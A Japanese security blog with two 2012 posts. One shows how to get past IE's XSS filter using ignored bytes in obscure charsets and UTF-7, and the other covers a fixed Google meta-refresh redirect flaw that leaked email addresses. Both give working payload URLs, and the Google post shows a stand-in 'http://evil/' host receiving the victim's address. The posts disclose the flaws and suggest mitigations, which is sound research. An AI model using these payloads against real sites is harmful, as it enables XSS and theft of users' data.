2012/03/10

ブラウザのXSS保護機能をバイパスする(2)

第2弾です。第1弾はこちら。今回はアプローチがちょっと違います。

無視されるバイトの利用

タグ中に挿入されても無視されるバイトというのがあります。有名なのはIEの「0x00」のスルー(<scr[0x00]ipt>alert(1)</sc[0x00]ript>が動いてしまう)ですが、他にもブラウザと文字エンコーディングによっては無視されるバイトがあります。今回はこれをXSS保護機能のバイパスに使用します。

2か月ほど前に、個人的に無視されるバイトを各ブラウザ・各文字エンコーディングごとに網羅的に調査してみました。んで、この結果を掲載しようと思ったんですが、自分用にまとめたもので汚いし、まだいろいろ調査中の部分もあるのでそれはもうちょっとあとにします。結構たくさんあります。

 IEのXSSフィルターをバイパスする

IEのXSSフィルターはさすがにIEが「0x00」を無視することを知っています。

 http://vulnerabledoma.in/xssable?xss=1&q=%3Cscr%00ipt%3Ealert%281%29%3C/script%3E


(追記 Blogger、「%00」って繋げて発言すると何故か「%00」が除去されてうまくリンクがはれないので、このURLだけリンクしてません…)

これは知っててくれないとXSSフィルターの意味がないよね…。
ただ全ての無視するバイトに対応している訳ではないようです。IEは「x-mac-korean」というcharset指定で、[0xC9]を無視することが個人的な調査でわかりました。これを利用して以下のようにすると、同様のページでバイパスができます。

http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E

最初からHTMLに含まれているcharset指定をURLに含むことで、charset指定を挿入しているとみせかけ、XSSフィルターにタグを無効化させ、x-mac-koreanのcharset指定を新たに挿入して、x-mac-koreanで無視されるバイトをXSSフィルターが検出しそうな文字列の間に挟んで検出を回避しています。( なぜ<meta http-equiv="Content-Type" content="***">はブロックして<meta charset=***>はブロックしないんだろうか… )

この要領で様々なパターンが作れます。

http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-chinesesimp%3E%3Ciframe%20sr%AAc=javas%AAcript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E

http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-thai%3E%3Ciframe%20sr%7Fc=javas%7Fcript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E

http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-iscii-as%3E%3Ciframe%20sr%EF%40c=javas%EF%40cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E

....

まだまだあります。
あと、無視されるバイト使ってませんが、UTF-7を使う方法もうまくいきました。

http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=utf-7%3E%2BADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4-&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E


対策

もちろんこのバイパス方法は、全くXSSの穴がないところにXSSフィルターが穴を作っている訳ではないので、普通のXSS対策ができていれば問題になりません。ただ、万が一XSSを作ってしまった時に、XSSフィルターにきちんと保護してもらうためにできることもあります。

もし、HTTPレスポンスヘッダでcharsetが指定されていればそっちが優先されるので、仮に本来のmetaタグのcharset指定がぶっ壊されてもこのバイパスはできなくなります。

http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3&charset=utf-8

あるいは、ヘッダに「X-XSS-Protection:1; mode=block」を指定すれば、XSSフィルターが反応した時に画面に「#」が表示されるのみとなり、ページの部分的な変更がされなくなります。

http://vulnerabledoma.in/xssable?xss=2&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
 

いずれXSSフィルター自体が改良されることを期待したいですね。



ちなみに、FirefoxのXSS保護などをしてくれるアドオンのNoScript、ChromeのXSS Auditorも同じような感じで抜けられました。既に両方報告済みで、NoScriptは2週間ほど前に対策されています。

http://noscript.net/changelog#2.3.2

NoScript開発者のGiorgio Maone氏は、僕が報告したその日のうちに修正したRC版をリリースしていました!素晴らしい対応であったことをここに書いておきたいと思います。

全然使われていないようなエンコーディングでもサポートしているだけでこうやって攻撃に応用できたりするので面白いですね。また何か見つけたら書きたいと思います。

2012/03/01

Googleのmetaリダイレクトに存在した問題

Googleに存在したメールアドレスを窃取できた問題について書きます。これは2011年1月30日に報告し、報告後数日以内に修正された問題です。 

こんなページがありました。

http://example.google.com/redirect?continue=http://example.google.com/xyz
<meta http-equiv="refresh" content="0;url=&#39;http://example.google.com/xyz&#39;">
<script>
location.replace("http://example.google.com/xyz")
</script>

continueというパラメータに指定されたURLをmetaタグとlocation.replace()にそれぞれ入れて、JavaScriptの有効/無効の設定に関わらずリダイレクトできるように書かれたページです。
Googleのサービス間を移動する時にこんなコードがよく使われています。

ここでは「"<>\」などの特殊な文字は適切に処理されており、指定できるURLも*.google.comに限られ、外部サイトやjavascriptスキームへリダイレクトするなどのことはできないようになっていました。

が、1つ意識されていない問題がありました。

Internet Explorer 6/7では、以下のようなmetaタグの指定で、http://evil/へリダイレクトします。
<meta http-equiv="refresh" content="0;url='http://good/'url='http://evil/'">


ポイントは後ろに指定されたURLがリダイレクト先として選択されるということです。これをさっきのコードにあてはめてみます。

http://example.google.com/redirect?continue=http://example.google.com/xyz%27url=%27http://evil/
<meta http-equiv="refresh" content="0;url=&#39;http://example.google.com/xyz&#39;url=&#39;http://evil/&#39;">
<script>
location.replace("http://example.google.com/xyz\x27url\x3d\x27http://evil/")
</script>

先ほど説明したIE6/7の挙動に従えば、metaタグは外部サイトへリダイレクトするよううまくはまっているように見えます。が、これ、はまっているとしても、JavaScriptが有効の場合はどうあがいてもlocation.replace()が優先してリダイレクトに使用されるので、これだけだとIE6/7でJavaScriptが無効の時にオープンリダイレクタになるというだけの話で(Googleはオープンリダイレクタを脆弱性とみなさないことを表明しているし)、ちょっとしょぼいです。


もっと悪用できないかあれこれ考えていると、別の箇所で似たようなコードがあり、リダイレクトする時に、ログインユーザーの場合はcontinueのURLにメールアドレスを付加してリダイレクトしているページを見つけました!
よって以下のようにすることでメールアドレスをhttp://evil/へ送信することができました。

http://example2.google.com/redirect?continue=http://example.google.com/xyz%27url=http://evil/
<meta http-equiv="refresh" content="0;url=&#39;http://example.google.com/xyz&#39;url=http://evil/?usr=victim@gmail.com&#39;">
<script>
location.replace("http://example.google.com/xyz\x27url\x3dhttp://evil/?usr=victim@gmail.com")
</script>

これでオープンリダイレクタ以上の問題にできました、やった!通常安全になることが多い、JavaScriptを無効にしているユーザーだけが影響を受ける点が面白いと思います。

Googleのこの場合は、metaタグのcontent属性のurl=に続くURLをシングルクォートで囲っているのに、continueのパラメータに含まれるシングルクォートを適切に処理しないままここへ挿入していたことになるので、メールアドレスを盗めるかどうかにかかわらず明らかに途中でリダイレクトURLを区切ってしまうバグがあった訳でしたが、url=の後のURLを引用符で囲っていない場合は、IE6/7において「;」(セミコロン)で同様に区切らすことができます。IE6/7では以下のようなタグで、http://evil/へリダイレクトします。
<meta http-equiv="refresh" content="0;url=http://good/;url=http://evil/">

このIE6/7の問題へ対処しつつmetaタグで動的に同じドメイン内に制限してリダイレクトさせるには、基本的なXSS対策("<>などの処理)と挿入されるURLを検証するだけでなく、metaタグに挿入されるセミコロンにもなんらかの処理をしなければならないことを、頭の片隅に覚えておくとよいかもしれません。最悪の場合、IE6の古いバージョンだとここへjavascriptスキームのURLを指定すると動くものがあり、XSSにもなり得ます。少なくとも手元のフルパッチのIE6sp3では動作しませんでしたが、過去のバージョンで動いていた記録が以下にあります。

 'Internet Explorer 6 Meta Refresh Parsing Weakness' - MARC
 http://marc.info/?l=bugtraq&m=112431630719702&w=2

 さらにマニアックな話をすると、単独のセミコロンを処理しても、エンコーディングとして不正なバイトを適切に処理していないと、まだオープンリダイレクタ(あるいは上の資料のXSS)になる恐れがあります。具体的には、「[不正バイト]&amp;url=http://....」のように文字参照に変換される文字(この場合「&」)を不正なバイトに喰わせて文字参照を破壊し、セミコロンを出現させることでできたりしますね!IE6なんかは、フルパッチかつUTF-8でも単独の[0xC0-0xFF]を生に通過させると後続の文字を侵します。

まぁ、IE6/7が悪いと思いますが、IE6/7がそのように動くということは受け止めなければなりません。
 ちなみにこのバグでは、報酬として$1337をもらっています。

追記

はせがわようすけさんがこの問題に対する考察と対策方法を書いて下さいました。「;」をパーセントエンコードすればいいやんって単純に思ってましたが、そうはいかない時もある訳で、リダイレクトを正常に機能させつつ、 この問題に対処するのは難しいですね…。一番手っとり早いのはmetaリダイレクトを動的に生成することを避けるか、IE6/7が爆発することだと思います。

 IE6/7の<meta refresh>では「;」で区切ってURLが複数指定できる問題
http://d.hatena.ne.jp/hasegawayosuke/20120301/p1